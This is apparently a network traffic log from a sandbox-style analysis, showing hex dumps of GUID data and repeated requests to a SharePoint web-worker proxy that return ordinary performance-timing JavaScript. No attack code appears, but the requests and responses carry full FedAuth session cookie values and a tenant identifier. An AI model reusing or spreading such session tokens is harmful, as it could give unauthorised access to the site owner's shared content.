2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 2d 38 38 42 36 2d 30 41 44 36 35 32 45 46 30 39 34 32 22 3a 74 72 75 65 2c 22 44 42 39 44 32 32 33 41 2d 38 36 35 42 2d 34 33 44 30 2d 39 45 34 38 2d 33 38 32 32 43 30 42 46 44 45 37 31 22 3a 74 72 75 65 2c 22 39 38 42 35 43 44 35 36 2d 31 33 34 35 2d 34 35 34 41 2d 41 39 44 31 2d 30 36 38 44 39 42 32 42 44 42 38 30 22 3a 74 72 75 65 2c 22 45 31 42 38 36 41 39 35 2d 33 31 45 35 2d 34 39 42 36 2d 38 41 36 31 2d 46 41 35 32 31 33 41 37 32 32 39 34 22 3a 74 72 75 65 2c 22 35 31 35 41 34 33 44 43 2d 38 33 41 36 2d 34 35 37 39 2d 39 43 38 38 2d 42 39 37 31 44 39 36 44 36 42 46 46 22 3a 74 72 75 65 2c 22 38 31 41 31 45 35 42 43 2d 45 37 38 32 2d 34 45 41 35 2d 38 30 42 39 2d 46 45 34 35 32 46 42 36 31 41 44 43 22 3a 74 72 75 65 2c 22 43 39 41 31 35 38 30 30 2d Data Ascii: -88B6-0AD652EF0942":true,"DB9D223A-865B-43D0-9E48-3822C0BFDE71":true,"98B5CD56-1345-454A-A9D1-068D9B2BDB80":true,"E1B86A95-31E5-49B6-8A61-FA5213A72294":true,"515A43DC-83A6-4579-9C88-B971D96D6BFF":true,"81A1E5BC-E782-4EA5-80B9-FE452FB61ADC":true,"C9A15800-
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 31 35 43 30 44 44 46 45 41 45 22 3a 74 72 75 65 2c 22 33 30 45 35 38 36 46 42 2d 41 42 37 36 2d 34 45 30 39 2d 39 46 33 41 2d 33 41 41 45 32 45 45 39 39 30 30 30 22 3a 74 72 75 65 2c 22 39 33 31 37 31 44 39 31 2d 37 37 31 30 2d 34 38 30 35 2d 38 42 39 31 2d 46 35 35 39 32 34 37 41 46 39 41 32 22 3a 74 72 75 65 2c 22 41 35 43 38 46 34 36 41 2d 32 35 41 30 2d 34 38 34 31 2d 39 42 42 46 2d 39 35 43 34 38 36 32 30 37 31 33 42 22 3a 74 72 75 65 2c 22 43 31 41 41 39 39 46 39 2d 33 45 45 33 2d 34 42 46 35 2d 39 44 39 30 2d 30 39 32 41 32 31 31 32 46 34 39 45 22 3a 74 72 75 65 2c 22 45 32 45 37 35 37 41 34 2d 37 39 45 36 2d 34 44 36 37 2d 41 42 30 45 2d 34 34 32 32 39 39 42 32 31 39 36 39 22 3a 74 72 75 65 2c 22 32 33 38 33 46 42 39 37 2d 43 33 45 33 2d 34 43 33 Data Ascii: 15C0DDFEAE":true,"30E586FB-AB76-4E09-9F3A-3AAE2EE99000":true,"93171D91-7710-4805-8B91-F559247AF9A2":true,"A5C8F46A-25A0-4841-9BBF-95C48620713B":true,"C1AA99F9-3EE3-4BF5-9D90-092A2112F49E":true,"E2E757A4-79E6-4D67-AB0E-442299B21969":true,"2383FB97-C3E3-4C3
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 34 44 22 3a 74 72 75 65 2c 22 39 37 43 31 46 45 41 39 2d 35 35 30 33 2d 34 38 45 42 2d 38 43 43 35 2d 38 46 36 35 31 45 43 45 36 46 32 46 22 3a 74 72 75 65 2c 22 33 41 42 31 34 34 36 42 2d 35 32 46 37 2d 34 45 42 37 2d 41 33 41 45 2d 39 42 46 38 46 42 46 44 42 43 44 38 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 30 46 44 33 46 33 33 37 2d 38 35 39 44 2d 34 45 42 35 2d 42 44 33 34 2d 31 32 33 41 33 35 42 31 34 32 33 44 22 3a 74 72 75 65 2c 22 36 31 35 35 39 30 38 31 2d 39 39 30 31 2d 34 33 39 35 2d 38 43 43 35 2d 37 45 39 46 31 44 44 41 34 39 34 32 22 3a 74 72 75 65 2c 22 41 43 35 43 33 43 46 33 2d 33 45 32 35 2d 34 35 43 32 2d 41 32 32 30 2d 37 Data Ascii: 4D":true,"97C1FEA9-5503-48EB-8CC5-8F651ECE6F2F":true,"3AB1446B-52F7-4EB7-A3AE-9BF8FBFDBCD8":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"0FD3F337-859D-4EB5-BD34-123A35B1423D":true,"61559081-9901-4395-8CC5-7E9F1DDA4942":true,"AC5C3CF3-3E25-45C2-A220-7
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 2c 22 46 35 32 30 31 43 46 42 2d 36 35 41 43 2d 34 33 44 34 2d 42 39 31 43 2d 35 39 31 31 31 45 30 42 39 43 36 32 22 3a 74 72 75 65 2c 22 42 35 31 34 44 46 35 45 2d 33 43 33 43 2d 34 33 46 46 2d 38 33 30 36 2d 34 31 31 32 45 39 37 31 42 39 36 45 22 3a 74 72 75 65 2c 22 37 39 46 38 38 41 43 35 2d 33 34 30 42 2d 34 36 31 35 2d 38 33 36 44 2d 30 31 33 44 31 30 37 33 39 44 34 38 22 3a 74 72 75 65 2c 22 42 31 41 43 43 35 31 36 2d 30 41 46 41 2d 34 45 42 35 2d 38 41 31 46 2d 36 38 31 42 46 31 35 42 34 46 43 44 22 3a 74 72 75 65 2c 22 39 46 31 39 39 36 44 35 2d 42 33 37 41 2d 34 33 42 33 2d 38 43 32 34 2d 46 30 46 35 44 31 41 35 33 35 44 38 22 3a 74 72 75 65 2c 22 32 45 34 36 46 41 45 39 2d 41 30 39 31 2d 34 41 45 46 2d 39 43 44 33 2d 36 45 37 43 39 32 46 37 45 Data Ascii: ,"F5201CFB-65AC-43D4-B91C-59111E0B9C62":true,"B514DF5E-3C3C-43FF-8306-4112E971B96E":true,"79F88AC5-340B-4615-836D-013D10739D48":true,"B1ACC516-0AFA-4EB5-8A1F-681BF15B4FCD":true,"9F1996D5-B37A-43B3-8C24-F0F5D1A535D8":true,"2E46FAE9-A091-4AEF-9CD3-6E7C92F7E
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 35 32 2d 31 46 44 36 2d 34 37 33 39 2d 38 31 46 34 2d 32 45 45 33 44 46 38 33 32 43 31 45 22 3a 74 72 75 65 2c 22 37 44 38 31 37 46 32 33 2d 43 46 42 36 2d 34 42 32 32 2d 42 30 43 39 2d 41 45 43 37 32 41 42 42 31 35 39 37 22 3a 74 72 75 65 2c 22 44 38 45 38 37 33 34 46 2d 37 33 37 36 2d 34 42 36 46 2d 41 38 46 36 2d 33 34 35 36 46 32 37 39 41 38 43 41 22 3a 74 72 75 65 2c 22 34 44 31 33 30 46 41 30 2d 46 32 39 36 2d 34 37 35 30 2d 41 44 39 35 2d 42 32 41 36 36 37 31 38 42 32 44 43 22 3a 74 72 75 65 2c 22 32 37 38 38 32 46 37 39 2d 31 32 38 44 2d 34 43 46 44 2d 38 36 41 35 2d 33 46 46 36 43 37 37 45 36 41 37 39 22 3a 74 72 75 65 2c 22 35 33 44 43 45 30 37 38 2d 44 34 42 41 2d 34 37 45 41 2d 41 45 36 46 2d 36 41 42 38 46 34 39 35 38 42 30 37 22 3a 74 72 75 Data Ascii: 52-1FD6-4739-81F4-2EE3DF832C1E":true,"7D817F23-CFB6-4B22-B0C9-AEC72ABB1597":true,"D8E8734F-7376-4B6F-A8F6-3456F279A8CA":true,"4D130FA0-F296-4750-AD95-B2A66718B2DC":true,"27882F79-128D-4CFD-86A5-3FF6C77E6A79":true,"53DCE078-D4BA-47EA-AE6F-6AB8F4958B07":tru
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 34 31 46 42 2d 42 35 35 33 2d 31 35 31 46 46 34 36 43 31 38 31 37 22 3a 74 72 75 65 2c 22 41 42 34 46 37 44 33 41 2d 41 34 41 33 2d 34 31 36 32 2d 39 32 46 41 2d 32 44 41 41 41 45 43 44 36 42 43 46 22 3a 74 72 75 65 2c 22 44 33 35 30 43 46 31 39 2d 41 30 36 43 2d 34 43 35 34 2d 39 36 36 36 2d 32 39 43 46 35 30 42 32 30 38 33 41 22 3a 74 72 75 65 2c 22 43 43 34 44 44 46 30 30 2d 38 32 38 42 2d 34 45 37 33 2d 38 39 42 45 2d 30 46 42 38 32 45 32 46 37 31 31 39 22 3a 74 72 75 65 2c 22 36 33 43 44 42 31 39 30 2d 36 39 39 30 2d 34 32 31 35 2d 39 31 36 34 2d 38 31 41 45 42 31 46 43 37 43 33 31 22 3a 74 72 75 65 2c 22 46 45 35 33 33 45 39 31 2d 38 38 45 38 2d 34 41 30 43 2d 42 36 43 32 2d 30 32 46 33 45 44 45 38 43 42 37 33 22 3a 74 72 75 65 2c 22 42 34 33 39 31 Data Ascii: 41FB-B553-151FF46C1817":true,"AB4F7D3A-A4A3-4162-92FA-2DAAAECD6BCF":true,"D350CF19-A06C-4C54-9666-29CF50B2083A":true,"CC4DDF00-828B-4E73-89BE-0FB82E2F7119":true,"63CDB190-6990-4215-9164-81AEB1FC7C31":true,"FE533E91-88E8-4A0C-B6C2-02F3EDE8CB73":true,"B4391

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:01:02 UTC	1553	OUT	GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1 Host: ipmdoctor-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkv [TRUNCATED]
2024-11-07 19:01:02 UTC	3194	IN	HTTP/1.1 200 OK Cache-Control: max-age=600 Transfer-Encoding: chunked Content-Type: text/javascript; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0 [TRUNCATED] X-NetworkStatistics: 0,525568,0,73,7439698,0,525568,24 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: d3a261a1-7083-6000-d9ad-c62e42365308 request-id: d3a261a1-7083-6000-d9ad-c62e42365308 MS-CV: oWGi04NwAGDZrcYuQjZTCA.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=f58ffaaf-06de-4270-a430-aed821458425&destinationEndpoint=Edge-Prod-DFW31r5b&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25416 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FD21426F593F4E608C91E297FB7AF8A3 Ref B: DFW311000104009 Ref C: 2024-11-07T19:01:02Z Date: Thu, 07 Nov 2024 19:01:02 GMT Connection: close
2024-11-07 19:01:02 UTC	749	IN	Data Raw: 32 65 36 0d 0a 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 20 3d 20 7b 7d 3b 0a 73 65 6c 66 2e 5f 6d 61 72 6b 50 65 72 66 53 74 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 20 7b 69 66 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 7d 20 65 6c 73 65 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 7d 20 69 66 20 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f Data Ascii: 2e6self._perfMarks = {};self._markPerfStage=function(key) {if(self.performance && typeof self.performance.now === 'function'){self._perfMarks[key]=self.performance.now();} else{self._perfMarks[key]=Date.now();} if (self.performance && typeof self.perfo
2024-11-07 19:01:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:01:03 UTC	1546	OUT	GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1 Host: ipmdoctor-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkv [TRUNCATED]
2024-11-07 19:01:03 UTC	3192	IN	HTTP/1.1 200 OK Cache-Control: max-age=600 Transfer-Encoding: chunked Content-Type: text/javascript; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0 [TRUNCATED] X-NetworkStatistics: 0,525568,0,0,840987,0,477409,24 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: d3a261a1-f0c9-6000-d9ad-c55abb0df2d3 request-id: d3a261a1-f0c9-6000-d9ad-c55abb0df2d3 MS-CV: oWGi08nwAGDZrcVauw3y0w.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=f58ffaaf-06de-4270-a430-aed821458425&destinationEndpoint=Edge-Prod-DFW31r5c&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25416 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 29010A02A2E44108BF39A11027CF04E9 Ref B: DFW311000106027 Ref C: 2024-11-07T19:01:03Z Date: Thu, 07 Nov 2024 19:01:03 GMT Connection: close
2024-11-07 19:01:03 UTC	749	IN	Data Raw: 32 65 36 0d 0a 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 20 3d 20 7b 7d 3b 0a 73 65 6c 66 2e 5f 6d 61 72 6b 50 65 72 66 53 74 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 20 7b 69 66 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 7d 20 65 6c 73 65 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 7d 20 69 66 20 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f Data Ascii: 2e6self._perfMarks = {};self._markPerfStage=function(key) {if(self.performance && typeof self.performance.now === 'function'){self._perfMarks[key]=self.performance.now();} else{self._perfMarks[key]=Date.now();} if (self.performance && typeof self.perfo
2024-11-07 19:01:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0